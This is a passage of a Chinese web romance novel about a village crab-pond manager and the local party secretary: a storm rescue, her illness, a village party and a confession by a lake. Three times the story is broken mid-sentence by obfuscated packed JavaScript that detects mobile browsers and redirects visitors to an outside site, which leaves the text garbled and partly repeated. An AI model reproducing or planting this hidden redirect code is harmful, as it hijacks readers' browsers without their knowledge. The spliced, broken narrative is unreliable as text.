当终于解开最后一个结时,她的指尖已经磨出了血。 就在余楸一脚踏上船板的瞬间,一双手臂从背后猛地环住她的腰,力道大得几乎让她喘不过气。 她整个人被拽进一个滚烫的怀抱,后背紧贴着对方剧烈起伏的胸膛。 “余小秋。” “你疯了吗?” 26. 为什么对我这么好 “放开!” “你放开我!” 余楸用手肘狠狠往后一顶,正中他的肋骨,“全村人的螃蟹都要死了!” 原朗闷哼一声,手臂却纹丝不动:“等雨小点再...…” “等不了!” 余楸猛地扭头,雨水顺着她的脸颊滑落。 “缺氧超过半小时,整塘螃蟹都会死绝!你知道这意味着什么吗?” 闪电劈过,照亮她通红的双眼。原朗的瞳孔猛地收缩,手上的力道却丝毫不减:“那就让别人去!“ “我是塘主!”余楸几乎是从牙缝里挤出这几个字,“这是我的责任!” “那我的责任呢?!” 原朗突然低吼,声音嘶哑得不像话。 “看着你去送死吗?” 余楸一怔,她知道现在这个时候不能跟它来硬的,随即放软了语气:“原朗,求你了。” 她轻轻握住他的手腕。 “让我去吧。” 男人似是听进去了她的话,就在他力道稍松的瞬间,余楸突然低头,狠狠一口咬在他的小臂上。 “嘶——”原朗吃痛松手,余楸像条鱼般滑了出去。她三步并作两步冲到船边,用力一推,小船“哗啦”一声滑入水中。 “余楸!!” 原朗的声音在身后炸开,几乎盖过了雷声。 余楸头也不回地跳上船,抄起船桨就往塘心划。冰冷的雨水顺着她的脖子灌进衣领,但她已经感觉不到冷了。 “老李!带人去西塘!”她的声音在暴雨中异常清晰,“王叔!东塘交给你!所有人分成三组,轮流划船搅水!” 船桨每一次入水都像有千斤重,手臂的肌肉火烧般疼痛。但余楸不敢停,她死死盯着水面——已经有螃蟹开始翻肚了。 突然,船身猛地一沉。 余楸回头,看见原朗浑身湿透地翻上船,一把抓住另一支船桨。 “你干什么?!” 余楸瞪大眼睛,“不会划船还来添乱!” 原朗二话不说,一桨插入水中。他的动作生涩却有力,船身剧烈摇晃着向前冲去。 “赶紧下去!”余楸伸手推他,“你想死吗?” “要死一起死。” 原朗的声音低沉而坚定,“划你的船。” 余楸还想说什么,却见原朗已经转向岸边:“老张!带人去南塘!小刘!准备第二艘船!” 他的指挥干脆利落,村民们立刻行动起来。余楸咬了咬唇,不再多言,专心划起船来。 两人配合渐渐默契,船桨搅动着浑浊的塘水。原朗的衬衫早已湿透,紧贴在身上,勾勒出绷紧的肌肉线条。余楸偶尔瞥他一眼,发现他的嘴唇已经冻得发白。 “你...…还行吗?”她忍不住问。 原朗冷笑一声:“管好你自己。” 暴雨中,十几条小船在塘面上穿梭。余楸的声音穿透雨幕:“王叔!再往深水区去!老李!加快频率!” 突然一个浪头打来,船身剧烈倾斜。余楸脚下一滑,眼看就要栽进水里。原朗一把拽住她的手腕,将她牢牢按在船上。 “小心点。” 他的呼吸喷在她耳边,“我可不想捞你。” 余楸挣开他的手:“谁要你捞!” 但她的心跳却不受控制地加速。原朗的手掌滚烫,即使在冰冷的雨水中也灼得她皮肤发麻。 时间一分一秒过去,雨势终于开始减弱。塘水被彻底搅动,浮在水面的螃蟹慢慢沉了下去。 “差不多了...…”余楸长舒一口气,手臂酸得几乎抬不起来。 原朗点点头,朝岸上喊道:“老李!带人检查西塘!王叔!统计损失!” 船靠岸时,余楸的双腿已经抖得不像话。她勉强站起身,却一个踉跄差点摔倒。 原朗伸手来扶,她下意识躲开:“我没事...” 话音未落,她的视野突然天旋地转。最后的意识里,她感觉自己落入一个滚烫的怀抱,原朗的声音在耳边炸开: “余楸!!” * 余楸的意识像是从深海中慢慢浮上来,眼前的光线刺得她眯起眼。她试着动了动手指,却发现全身像是被碾过一样酸痛。喉咙火辣辣的疼,小腹也传来一阵阵钝痛,让她不自觉地蜷缩了一下。 她缓缓睁开眼,入目是陌生的天花板——深灰色的吊顶,简约的木质吊灯。这不是她的房间。 “这是......” 艰难地转动脖子,视线扫过整个房间。深色的实木家具,整齐的书架,床头柜上摆着一个相框,里面是一个小男孩和一位温婉的女性合影。 原朗的房间? 记忆如潮水般涌来——暴雨,缺氧的蟹塘,她执意划船...... 最后晕倒前那个滚烫的怀抱。 她挣扎着想要坐起来,却牵动了小腹的疼痛,忍不住“嘶”了一声。就在这时,房门被轻轻推开。 “醒了?” 原朗快步走到床边,一只手稳稳地托住她的后背,另一只手调整枕头的高度,动作轻柔却不容拒绝地将她扶靠在床头。他的指尖温热,透过单薄的睡衣传递到皮肤上。 余楸想说话,却发现喉咙干涩得发不出声音。她张了张嘴,最终只挤出一个气音。 原朗立刻会意,转身倒了杯温水。他没有直接递给她,而是坐在床边,一手扶着她的后颈,一手将水杯送到她唇边。 “慢点喝。” 他的声音比平时低沉,带着一丝不易察觉的温柔。 余楸就着他的手小口啜饮,温水滑过灼痛的喉咙,带来片刻的舒缓。 “蟹塘......”她终于能发出声音,却沙哑得不像话。 “损失不大。”原朗放下水杯,“多亏你的决策及时。” 余楸松了口气,紧绷的肩膀微微放松。这时她才注意到自己身上穿着陌生的睡衣——宽大的棉质T恤,长到盖住膝盖,散发着淡淡的松木香。 “这衣服……” 她低头扯了扯衣领,突然意识到什么,猛地抬头看向原朗。 “沈姨帮你换的。”原朗似乎早就料到她的反应,嘴角微微上扬,“衣服也是她的。” 余楸的脸“腾”地烧了起来,小声说了句“谢谢”。 房间里一时安静下来。窗外的雨已经停了,阳光透过窗帘的缝隙洒进来,在地板上投下细碎的光斑。 “你发烧到39度。”原朗突然开口,“睡了八个小时。” 余楸注意到男人眼下的青黑,还有皱巴巴的衬衫——他一定守了很久。 “对不起......” 她低下头,“给你添麻烦了。” 原朗沉默了片刻,突然伸手卷起自己的袖口,露出小臂上那个清晰的牙印——已经结痂了,但边缘还泛着红。 “确实挺麻烦的。”他故意晃了晃手臂,“某些人下嘴真狠。” 余楸的脸更红了。 她小心翼翼地伸手,指尖轻轻碰了碰那个伤痕:“疼吗?” “疼死了好吗?” 原朗面不改色地撒谎,明明伤口早就不疼了,但他就是想让眼前这个倔女人愧疚,“可能要留疤。” 余楸的指尖一顿,眼眶突然红了:“对不起......我当时太着急了......” 原朗没想到她会哭,顿时慌了神。他手忙脚乱地抽了张纸巾,笨拙地擦去她脸上的泪水:“喂,我开玩笑的,你这人现在这么不经逗呢。” “你保证。”余楸突然抓住他的手腕,“以后绝对不许再拿命开玩笑了。” 原朗愣住了,随即失笑:“这话应该我对你说吧?” “我是认真的!” 余楸瞪他,眼泪还挂在睫毛上,“你知道我看见你跳上船的时候有多害怕吗?我又不知道你会不会游泳,万一......” 她的声音哽住了,抓着原朗的手不自觉地收紧。 原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的声音低沉,“你觉得我会为每个村民挡雨、熬夜、跳上危险的船?” 余楸屏住呼吸,他的脸近在咫尺,她能闻到他身上淡淡的松木香。 “我......” “我确实会。”男人咧嘴一笑。 “咚咚咚——”敲门声突然响起。 “原朗?秋秋醒了吗?”沈却的声音从门外传来,“我煮了姜汤。” 原朗直起身,神色如常:“醒了,进来吧。” 沈却推门而入,看到两人之间的氛围,意味深长地笑了笑:“看来我来得不是时候?” “没有!”余楸慌忙摇头,差点咬到舌头。 沈却把姜汤放在床头:“趁热喝,驱寒的。” 她看了看原朗,“你也去休息一下吧,守了一夜了。” 原朗点点头,却没有动。沈却了然一笑,轻轻带上门离开了。 房间里又剩下他们两人。余楸捧着姜汤,热气氤氲中偷看原朗的侧脸。 “看什么?”原朗突然转头。 余楸慌忙低头喝汤,被呛得直咳嗽。 原朗无奈地拍着她的背:“慢点。” 他的手掌温暖有力,余楸却觉得后背被他碰过的地方像着了火。 “那个......”她试图转移话题,“你妈妈很漂亮。” 原朗顺着她的视线看向床头的照片,眼神柔和下来:“嗯。” “你很像她。”余楸小声说,“尤其是眼睛。” 原朗怔了怔,随即笑了:“你是第一个这么说的。” 阳光静静地洒在两人身上,房间里弥漫着姜汤的辛辣和淡淡的松木香。 这一刻的温暖,余楸大概永远都不会忘记。 27. 后天晚上 * 余楸裹紧了外套,推开村委会的大门。连日的阴雨终于放晴,但她的喉咙仍像塞了团棉花,时不时就要咳嗽几声。 她自嘲地摇摇头,平日里壮得像头牛,没想到一场暴雨就把自己折腾成这样。 果然是年纪不饶人。 会议室里已经坐了不少人。她刚走到自己的位置,一个保温杯就被推到了面前。 “喝点。”原朗头也不抬,继续翻着手里的文件。 余楸疑惑地打开杯盖,热气裹着清甜的梨香扑面而来。澄澈的汤水里沉着几片雪梨,还有几颗枸杞浮浮沉沉。 “冰糖炖雪梨?” “冰糖不多,”男人终于抬头,嘴角微微上扬,“不会腻。” 余楸怔住了,他怎么知道自己喝冰糖雪梨不喜欢太甜的口味。 问了林小樱? 堂堂村支书,居然为了自己打听这种小事吗? 余楸觉得自己一定是在做梦,然后她掐了一下自己的脸。 发现很痛。 她小啜了一口,温热的梨汤滑过喉咙,灼痛感顿时减轻不少。甜度刚好,梨肉炖得软而不烂,还能尝到一点淡淡的陈皮香。 “好喝吗?” 余楸差点呛到:“还、还行。” “那就好。”他点点头,转向陆续到齐的村民们,“开会了。” 会议开始后,原朗首先总结了暴雨那晚的情况。投影仪上显示出详细的损失数据和补救措施,余楸这才知道,那天晚上他们足足忙到凌晨四点。 “这次能及时控制损失,”原朗的声音沉稳有力,“首先要感谢余楸的果断决策。” 所有人的目光都投向余楸,她不自在地缩了缩脖子,又抿了一口梨汤。 “当然,也离不开每一位村民的配合。”原朗继续道,“老李带领的西塘小组,王叔负责的东塘区域,都完成得非常出色。” 他逐一表扬了当晚参与的村民,连最小的细节都没遗漏。余楸偷偷看他,发现他谈起正事时眉眼格外认真,修长的手指在投影仪遥控器上轻点,袖口露出一截手腕,骨节分明。 “最后,”原朗突然提高声音,“为了感谢大家的付出,也为了鼓舞士气,我提议后天晚上在村广场办个夏日晚会。” 会议室里顿时炸开了锅。 “所有费用我出。”原朗补充道,目光扫过众人,“烧烤、啤酒、烟花,一个不少。” 欢呼声中,余楸惊讶地看向原朗。他向来最讨厌这种吵闹的场合,上次端午晚会只露了个面就找借口溜了。 原朗似乎察觉到她的视线,转头与她四目相对。他微微挑眉,嘴角勾起一个得意的弧度,像是在说——怎么样,我厉害吧? 余楸慌忙低头,假装研究手里的资料,却掩饰不住上扬的嘴角。 保温杯里的梨汤映出她微微发红的脸。 这男人,变得越来越奇怪了。 会议结束后,村民们三三两两地讨论着晚会的事。 余楸慢吞吞地收拾文件,时不时咳嗽两声。 “还难受?”原朗不知何时站在了她身边。 “好多了。”余楸晃晃保温杯,“谢谢你的梨汤。” 原朗“嗯”了一声,伸手接过她怀里厚重的文件夹:“我送你回去。” “不用了,我......” “顺路。”他不容拒绝地说,已经迈步往外走。 余楸只好跟上。阳光正好,两人的影子在地上挨得很近。路过蟹塘时,她注意到增氧机已经全部检修完毕,塘边的淤泥也被清理干净了。 “这些都是你安排的?”她忍不住问。 原朗耸耸肩:“分内事。” “哦。” “那……晚会,怎么突然想到办晚会?” “庆祝啊。” 原朗目视前方,“再说......” “再说什么?” “你最近太累了。” 他的声音很轻,“该放松一下。” 余楸心头一暖,正想说些什么,一阵风吹来,她又咳嗽起来。 原朗立刻停下脚步,皱眉看她:“明天别来开会了,在家休息。” “我没事......” “这是村支书命令。“他板起脸,“抗命者扣工分。” 余楸忍不住笑了:“哪有这种规定?” “刚立的。” 原朗也笑了,阳光在他的睫毛上跳跃,“专门对付不听话的塘主。” 两人走到余楸家门口,原朗把文件还给她:“记得把梨汤喝完。” “知道了。”余楸接过文件,犹豫了一下,“那个......晚会需要帮忙吗?” 原朗挑眉:“你想帮忙?” “我可以负责烧烤区......” “不用。”原朗打断她,“你负责玩就行。” 他的语气不容置疑,余楸张了张嘴,最终只是点点头:“那......后天见。” “后天见。” 原朗转身要走,又突然回头,“对了,晚会穿漂亮点。” “干什么啊?” “我想看,行吗?” 余楸愣在原地,看着他远去的背影,心脏砰砰直跳。她低头看了看自己沾着泥点的牛仔裤和旧T恤,突然懊恼起来——她好像没什么“漂亮”衣服可穿。 不对,她干嘛要穿好看点给他看?! 保温杯里的梨汤已经见底,但喉咙里的甜意久久不散。 * 余楸抱着一沓晚会策划资料,站在原朗家门前犹豫了片刻才敲门。等了半天没人应,她试探性地推了推——门没锁。 “原朗?”她探头进去,“我来商量晚会的事......” 院子里静悄悄的,只有水龙头哗哗的流水声。余楸循声走去,看见原朗正站在洗衣池前,手里揉搓着一件白色T恤。阳光透过葡萄架的缝隙洒在他身上,勾勒出他专注的侧脸轮廓。 “原朗?”她又喊了一声。 男人这才回过头,手上的动作没停:“进来吧,门没锁。” 余楸走近几步,突然发现那件白T的下摆染着一片暗红色的污渍,在清水中晕开淡淡的粉色。 “你受伤了?” 她三步并作两步冲过去,一把抓住原朗的手腕,“哪里伤到了?严不严重?” 原朗愣住了,手上的肥皂泡滴答落在水面上。余楸已经急得去掀他的衣摆:“给我看看!” 手指碰到棉质布料的一瞬间,她才意识到自己在做什么,触电般缩回手。 “对、对不起......” 原朗挑眉,唇角勾起一抹玩味的笑:“怎么不掀开看看了?” “你自己不愿意说,我干嘛要看。”余楸别过脸,耳朵红得能滴血。 “我没受伤。” 原朗把T恤拎起来,那片红色在阳光下格外刺眼,“这是你的血。” “我的?” 余楸瞪大眼睛,随即反应过来——暴雨那天,她在冷水里泡了太久,生理期提前了...... 这些天她居然完全忘了这回事! 她尴尬得想找个地缝钻进去。 原朗把衣服重新浸入水中,轻轻地揉搓。 “你知道我当时多害怕吗?” 余楸抬头,发现他脸上的笑意消失了,取而代之的是一种她从未见过的后怕与忧伤。 “在我抱着你往家跑的时候。” 他的手指无意识地摩挲着T恤上的血迹,忍不住去想那个可怕的夜晚。 暴雨如注,原朗抱着昏迷的余楸在泥泞的小路上狂奔。她的身体冰凉得像块石头,脸色苍白得可怕。 “余楸!坚持住!”他的声音在雷声中破碎,“快到了!” 他似乎感觉到衣服上一片湿热。低头一看,是暗红色的血迹。 “血……” 他的大脑一片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852275|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空白,“怎么会有血......” 恐惧像一只无形的手扼住他的喉咙。他抱紧怀里的人,跑得几乎飞起来,然后一脚踹开院门。 “沈姨!沈姨!” “快喊医生!打120!她流血了!流了好多血!” 沈却闻声赶来,看到两人浑身湿透的样子也吓了一跳。她迅速检查了一下,突然松了口气。 “原朗,”她按住一旁颤抖的男人,“冷静点,秋秋只是来例假了。” “什么?” 原朗呆住了,衣服上的血迹略微干涸发暗,“可、可是这么多血。” “没事的。” 沈却轻轻拍着他的背,“去换件衣服吧,我来照顾她。” 原朗不去,打了电话给村里的老医生,就这样守在外面,看着木板门发呆。 “我当时真的以为......” 男人的声音把余楸拉回现实,他拧干T恤,水珠滴滴答答落进池子里。 “以为你要死了。” 余楸从未见过这样的原朗——脆弱,不安,像个害怕失去重要东西的孩子。 “医生说了,”他转身面对她,表情严肃,“你体寒,以后少吃冰的,少喝凉水。“ “嗯,我知道了......” 原朗似乎松了口气,把洗好的衣服晾在绳上。那片血迹已经淡得几乎看不见了,但他还是盯着看了很久。 “晚会的事......”余楸试图转移话题,把怀里的资料递过去,“我做了几个方案。” 原朗接过资料,两人默契地走向客厅。阳光透过落地窗洒进来,照在铺满图纸的茶几上。 “坐地上吧,”原朗指了指厚实的地毯,“比较方便看。” 他率先盘腿坐下,余楸也跟着坐下来。两人肩膀挨着肩膀,一起翻看策划方案。 “我觉得烧烤区可以放在东边,”余楸指着一张草图,“离舞台远一点,免得油烟......” “舞台?”原朗挑眉,“谁说要有舞台了?” “没有吗?”余楸惊讶地抬头,鼻尖差点撞上他的下巴,“那表演节目在哪......” 原朗突然伸手弹了一下她的额头:“谁告诉你会有表演节目?” “哎哟!”余楸捂住额头,“那晚会干什么?“ “吃烧烤,喝酒,看烟花。”原朗一本正经,“最多放点音乐。” 余楸瞪大眼睛:“这也太敷衍了吧!村民们会失望的!” “那你有什么高见?”原朗好整以暇地看着她。 余楸立刻来了精神,翻出另一沓纸:“我们可以组织几个小游戏,比如拔河、猜谜,再让村里的孩子们表演节目......” 她越说越兴奋,手舞足蹈地比划着。 “还有!” 她突然转身,差点撞进原朗怀里,“可以让林小樱和裴知路合唱!他们俩唱歌可好听了!” 原朗轻笑:“你安排得挺周到啊。” “那当然!”余楸得意地扬起下巴,“我可是......” 话没说完,一个喷嚏打断了她。原朗立刻皱眉,伸手摸了摸她的额头:“又着凉了?” “没有......阿嚏!” 原朗叹了口气,起身去倒了杯热水:“喝点。” 余楸接过水杯,两人的手指不经意相触,一股暖流从指尖蔓延到心底。她偷偷抬眼,发现原朗正看着她,目光柔和得像窗外的阳光。 “谢谢......” 她小声说,在谢这杯水,也谢谢他做的一切。 原朗只是笑了笑,重新坐回她身边。 “余小秋。” “嗯?” “你心脏怎么样?” “啊?还,还不错吧。我上学时候拿过一百米的冠军呢。” “那就好。” 男人缓缓靠近,将凉意带来。 “后天晚上,跟我走。” 28. 好久不见 * 夕阳西沉,天边铺满橘红色的晚霞。晨阳村的广场上张灯结彩,彩带在微风中轻轻摇曳。临时搭建的烧烤架已经冒出阵阵香气,孩子们追逐打闹的笑声回荡在空气中。 老人们坐在树下的长椅上摇着蒲扇,笑眯眯地看着年轻人忙前忙后。几个半大孩子正帮忙摆放桌椅,时不时偷吃一块刚烤好的肉串,被大人笑着赶走。 余楸站在广场中央,深吸一口气。空气中混合着烤肉香、花香和夏夜特有的清爽,让她不由自主地扬起嘴角。 这种发自内心的快乐,比大学时参加的任何晚会都要强烈。 除了…… 某人的那句“跟他走”。 走哪? 为啥走? 凭啥跟他?! 余楸本想追问,但原朗连开口的机会都没给她,直接连人带本送回了她家。 搞得她现在无心庆祝,一心盘算着那男人会给自己什么样的“惊喜”。 她觉得很有必要拿点妈妈的降压药,再准备一把鸡毛掸子——随时防身加反击。 “高兴成这样。” 原朗不知何时出现在她身后,手里拿着两瓶冰镇汽水,“没见过世面?” 余楸接过汽水,冰凉的瓶身让她舒服地叹了口气:“倒也不是,大学时候这些活动我能推就推了。” “为什么?” “不擅长社交呗。”她耸耸肩,“现在想想还挺后悔的。” 原朗挑眉:“后悔什么?” “后悔没主动出击啊,。”余楸仰头喝了一口汽水。 “我的舍友们都在这个会那个节上面找到了crush,有两个现在都快结婚了呢。” “哎,早知道我也去了,不然也不至于到现在还是孤家寡人一个。” 男人突然低笑出声,眼睛弯成好看的弧度。 “你笑什么?”余楸瞪他。 “笑你不去是对的,”原朗慢悠悠地说,“像你这种人,得有人治你才行。” “原朗!” 余楸气得要去掐他胳膊,被及时赶到的林小樱拦住。 “秋秋!”林小樱今天穿了条淡蓝色的连衣裙,头发编成精致的鱼骨辫,“烧烤调料放哪了?” 裴知路也跟了过来,手里端着个装满食材的托盘:“两位,先停战,干活要紧。” 四人忙活起来,很快将烧烤区布置妥当。余楸趁机打开直播,镜头扫过热闹的广场:“大家好!今天是我们晨阳村的夏日晚会!” 弹幕立刻刷了起来: -【哇!好热闹!】 -【秋秋今天好漂亮!】 -【那个帅哥是谁!镜头转回去!】 余楸假装没看见最后一条,继续介绍:“待会儿会有村民表演,我和小樱也要跳舞哦!” 天色渐暗,广场上的彩灯亮了起来。沈却一身利落的西装裙走上临时搭建的小舞台,她听说今天有晚会,特地多留一天,来当主持人。 “在表演节目前,有一个好消息要告诉大家!” “秋秋,你来说吧!” “各位乡亲们!大家晚上好!” 余楸的声音因兴奋而微微发颤,“就在昨天下午,我已经正式和''鲜直达''电商平台签下了包村大单!” “从下个月开始,”余楸提高音量压下喧闹,"他们将以高于市场价两成的价格,包销我们全村八成的精品蟹!” 台下瞬间炸开了锅。 “秋秋!这是真的吗?”王会计颤抖着站起来,老花镜滑到鼻尖都顾不上扶。 余楸笑着点头:“合同已经签好了,首批订单就在我手里!” “但这只是个开始,只要我们保证品质,后续还会有更多合作机会!” “大家的日子只会越来越好的!” “这一切,都是大家一起努力的成果。” 余楸环视着每一张熟悉的面孔,“从新饲料试用,到暴雨夜抢险,没有每个人的付出,就没有今天的订单!” 村民们自发鼓起掌来,几个半大孩子学着大人的样子,把手都拍红了。 余楸站在灯光下,看着这一张张发自内心的笑脸,突然觉得眼眶发热——这一刻,她真切地感受到,自己真的带领大家迈出了致富的第一步。 晚会正式开始。 第一个节目是村里孩子们合唱的渔歌,稚嫩的嗓音在夜风中飘荡。接着是老李头带着几个老汉表演的舞龙,虽然动作不算整齐,但胜在气势十足,赢得满堂喝彩。 “接下来,”沈却神秘地眨眨眼,“有请我们晨阳村的两位''渔歌姑娘''带来舞蹈《水映月》!” 余楸和林小樱手拉手上台。两人都穿着传统的渔家女服饰——靛蓝的对襟短衫,绣着鱼纹的红色腰带,裙摆随着步伐轻轻摆动。余楸的头发用一支木簪松松挽起,几缕碎发垂在耳边;林小樱则戴了一串小巧的贝壳项链,在灯光下闪闪发亮。 音乐响起,两人随着节奏翩翩起舞。余楸的舞姿灵动如水中游鱼,转身时裙摆划出优美的弧线;林小樱则柔美似月光下的波浪,每一个抬手都带着水乡特有的婉约。 台下,两道目光直愣愣地盯着姑娘的身影。 原朗的视线始终追随着余楸,看她旋转时发丝飞扬,看她微笑时眼角的弧度,连手中的啤酒忘了喝。 “好看吗?” 沈却不知何时出现在两人身后。 “嗯。”裴知路下意识点头,“很好看。” 原朗这才回过神,轻咳一声:“还行吧。” “那接下来,”沈却突然提高声音,“有请我们的村支书原朗和画家裴知路为大家表演节目!” 两人同时僵住。 裴知路尴尬地摸了摸鼻子,原朗则瞟了他一眼:“赶紧上去吧,还嫌不够丢人吗?” 余楸和林小樱刚好下台,看到这一幕忍不住偷笑。弹幕立刻炸了: -【哈哈哈被抓包了!】 -【刚才看得眼睛都不眨!】 -【两位帅哥要表演什么?】 晚会的气氛正热烈,沈却拿着话筒走上临时搭建的小舞台,笑容狡黠:“接下来,有请我们晨阳村的两位青年才俊——原朗和裴知路为大家表演节目!” 台下立刻爆发出一阵欢呼和口哨声。余楸踮起脚尖,看见原朗拎着一把原木色吉他走上台,修长的手指随意拨弄了下琴弦试音。 裴知路则拿着话筒,温润如玉地站在一旁:“我们给大家带来一首小情歌。我唱歌,原书记弹琴。” 沈却在台下带头起哄:“哇哦——!”村民们也跟着鼓掌起哄,孩子们兴奋地跑来跑去。 音乐前奏响起,裴知路先开口。他的声音清澈温柔,像月光下的溪流,唱到动情处,眼神不自觉地飘向台下的林小樱。林小樱红着脸,却目不转睛地看着他,眼里盛满了星光。 而原朗始终低着头,专注地弹着吉他。他的指尖在琴弦上灵活地跳跃,偶尔抬头扫一眼台下,又很快垂下眼睫。 余楸站在人群里,心跳随着他的琴声起伏。 这样的原朗——安静,专注,让人心动。 有多久没有看到他弹吉他了? 余楸仔细回忆着,想起他平时冷着脸训人的样子,想起他在村委会拍桌子的暴躁,想起他跳上船时凶神恶煞的表情——和此刻台上安静弹琴的男人判若两人。 琴声渐入佳境,原朗突然抬头,目光穿过人群,准确地对上了余楸的眼睛。 那一瞬间,余楸感觉周围的喧嚣都远去了,只剩下他深情的琴声和自己震耳欲聋的心跳。 一曲终了,掌声雷动。 余楸这才发现自己一直屏着呼吸,脸颊烫得厉害。台上的原朗收起吉他,目光仍停留在她身上,两人隔空对视,竟都有些不好意思地别开了脸。 接下来的节目余楸都没怎么看进去。她环顾四周,想找林小樱说话,却发现一转眼人就不见了。 “找谁呢?” 原朗的声音在耳边响起,余楸吓了一跳,还没反应过来,手腕就被他握住。 “跟我来。” 他不由分说地拉着她就跑,穿过热闹的人群,跑向安静的湖边。夜风拂过脸颊,带着夏夜特有的清爽。 余楸气喘吁吁地停在槐树下,忍不住埋怨:“你跑什么呀!我还要找小樱呢!” 原朗一边给她拍背顺气,一边嫌弃道:“你这身子也太弱了,还一百米冠军?你是乌龟吗平常都不动的啊?” “能跟你打拳击的人比吗?”余楸白了他一眼,“拉我来这干啥?” “你傻啊,”原朗无奈,“人家过二人世界去了,你还巴巴地去打扰他们。” 余楸这才反应过来,叹了口气。她的小樱,可算是找到白马王子了。裴知路那样温柔又可靠的人,一定会让小樱幸福的吧? 她不禁露出欣慰的笑容。 “傻笑什么呢?”原朗挑眉。 “要你管。”余楸撇撇嘴,直接席地而坐,靠在粗壮的槐树干上。 原朗也跟着坐下来,两人的肩膀轻轻相碰。余楸的头刚好可以靠在他的肩上,但她犹豫着不敢动,生怕惹他嫌弃。 正打算起身调整姿势,一只大手突然按住了她的脑袋。 “别乱动,”原朗的声音从头顶传来,“我累了,想歇会儿。” 余楸乖乖不动了。 也是,他今天忙前忙后,肯定累坏了。夜风轻柔,槐树的叶子沙沙作响,远处晚会的欢笑声隐约传来,却更显得这一隅的宁静。 “你什么时候学的吉他?”余楸轻声问。 “很小的时候。”原朗的声音懒洋洋的,“闲着没事学的。” “弹得挺好的。” “嗯。” “你还有什么我不知道的爱好?” “拳击你知道,吉他你也知道了......还会点摄影。” “摄影?”余楸惊讶地抬头,“拍什么?” “风景。”原朗顿了顿,“最近也拍人。” 余楸好奇:“拍谁啊?” 原朗没回答,只是看着她。 余楸耳根一热,赶紧转移话题:“那个......” “你一直没谈过恋爱吗?” 问完她就后悔了。这问题太私人了,他肯定会生气。 “没有。” 出乎意料,原朗回答得很干脆,“你呢?” “我?”余楸自嘲地笑笑,“你看我像谈过的样子吗?” 原朗低笑一声:“确实不像。” 余楸不服:“笑什么!你不也一样!” “嗯,一样。” 夜风掠过湖面,带着潮湿的水汽拂过槐树下并肩而坐的两人。一片树叶打着旋儿落在余楸发间,原朗伸手轻轻拂去,指尖在她鬓角停留了一瞬,像是舍不得离开。 “余楸。”他的声音比平时低沉,带着几分犹豫。 “嗯?” “我有喜欢的人了。” 手背被男人轻轻按住:“先别说话,听我说完,好吗?” 余楸没有回答,没有点头,她只是呆呆地,看着眼前的一切。 原朗缓缓开口: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857466|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我第一次见她的时候,觉得她特别讨厌。” “她开着辆破三轮车,撞上我的车,还理直气壮地跟我吵架。”原朗的嘴角微微上扬。 “那时候我就想,这姑娘怎么这么不讲理。” “但后来我发现,她其实特别傻。” “明明自己都照顾不好,还总想着帮别人。下雨天不知道打伞,忙起来忘记吃饭,被人欺负了也不懂得还击...…” 他的目光落在远处的水面上,像是在回忆什么珍贵的画面:“可她站在村民面前讲话的时候,眼睛亮得像星星。为了帮那些小女孩上学,她能熬好几个通宵做方案。” 余楸的呼吸变得急促,胸口像是被什么温暖的东西填满了。夜风吹乱她的发丝,有几缕粘在了湿润的唇角。 “最可笑的是,”原朗突然笑了,“我明明最喜欢吃甜的,却因为她喜欢,现在冰箱里塞满了香菇肉粽。” 他的手指轻轻拨开她唇边的发丝,指尖的温度烫得余楸一颤。 “余楸。” 他的声音轻得像是叹息,“你说,我该怎么办?” “我要跟她告白吗?” 月光洒在两人之间,原朗的眼睛像是盛满了星光,专注地看着她。 “你帮帮我,好吗?” 余楸的大脑一片空白。 她想,自己是高兴的,无关于喜不喜欢,无关于是谁,只是关于,她和原朗的这段“致富友谊”。 第一次遇见就撞车,到后来见面就掐,再到现在,他们可以一起坐在槐树下聊天,他们愿意分享彼此的故事。 甚至,她愿意将原朗纳入自己的生活。 可莫名的恐惧攥住了她的心脏。余楸知道,自己只是个普通的农村姑娘,而原朗,那个站在台上讲话时所有人都安静聆听的原朗,那个随手就能解决村里难题的原朗 ——他们之间好像永远有一道无法跨越的鸿沟。 余楸很难过,她没由来的红了眼眶,又更加难过了。 她知道这难过当中是带着点气性的,气自己为什么会遇见原朗,气自己为什么和原朗成了冤家,气自己为什么和他做了朋友,气原朗为什么告诉她这些原本应该随风而逝的话。 毕竟,在他任期结束后,他就要离开了,不是吗? 没有人会放着京城的少爷不当,在一个小村子里当一个小小的村支书。 所以,原朗告诉她这些,又有什么意义呢? 余楸不知道自己为什么会想得那么远,她攥紧了手指,指甲陷入掌心的疼痛让她保持清醒。 冷静,余楸。 万一他只是开玩笑呢? 万一他说的根本不是她呢? 万一她自作多情了呢? 时间仿佛静止了,只有槐树叶在风中沙沙作响。 余楸张了张嘴,又闭上,反复几次才发出声音: “原朗,我...…” 她的话没能说完。原朗突然倾身靠近,他的气息扑面而来,带着淡淡的松木香。鼻尖几乎碰到她的,睫毛低垂着,目光落在她的唇上。 余楸僵在原地,心跳声大得仿佛要冲破胸腔。 